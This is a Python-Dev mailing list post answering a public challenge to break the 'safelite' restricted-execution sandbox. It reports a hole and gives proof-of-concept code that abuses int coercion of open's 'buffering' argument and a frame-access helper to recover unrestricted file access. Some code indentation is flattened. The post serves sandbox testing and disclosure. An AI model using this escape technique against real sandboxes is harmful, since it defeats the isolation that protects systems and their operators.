[Python-Dev] Challenge: Please break this! [Now with blog post] (original) (raw)

Andrew Dalke dalke at dalkescientific.com
Tue Feb 24 12:46:56 CET 2009

Another hole. Not as devious as some, but easy to fix with yet another type check. And probably you want to get rid of "get_frame" from safelite.

This trick notices 'buffering' is passed to open, which does an int coerce of non-int objects. I can look up the stack frames and get "open_file", which I can then use for whatever I want.

In this case, I used the hole to reimplement 'open' in its entirety.

import safelite

class GetAccess(object): def init(self, filename, mode, buffering): self.filename = filename self.mode = mode self.buffering = buffering self.f = None

def __int__(self):
    # Get access to the calling frame.
    # (Strange that that function is available.)
    frame = safelite.get_frame(1)

    # Look at that nice function right there.
    open_file = frame.f_locals["open_file"]

    # Get around restricted mode
    locals_d = {}
    exec """

def breakout(open_file, filename, mode, buffering): return open_file(filename, mode, buffering) """ in frame.f_globals, locals_d del frame

    # Call the function
    self.f = locals_d["breakout"](open_file, self.filename,

self.mode, self.buffering)

    # Jump outta here
    raise TypeError

def open(filename, mode="r", buffering=0): get_access = GetAccess(filename, mode, buffering) try: safelite.FileReader("whatever", "r", get_access) except TypeError: return get_access.f

f = open("busted.txt", "w") f.write("Broke out of jail!\n") f.close()

print "Message is:", repr(open("busted.txt").read())

                            Andrew Dalke
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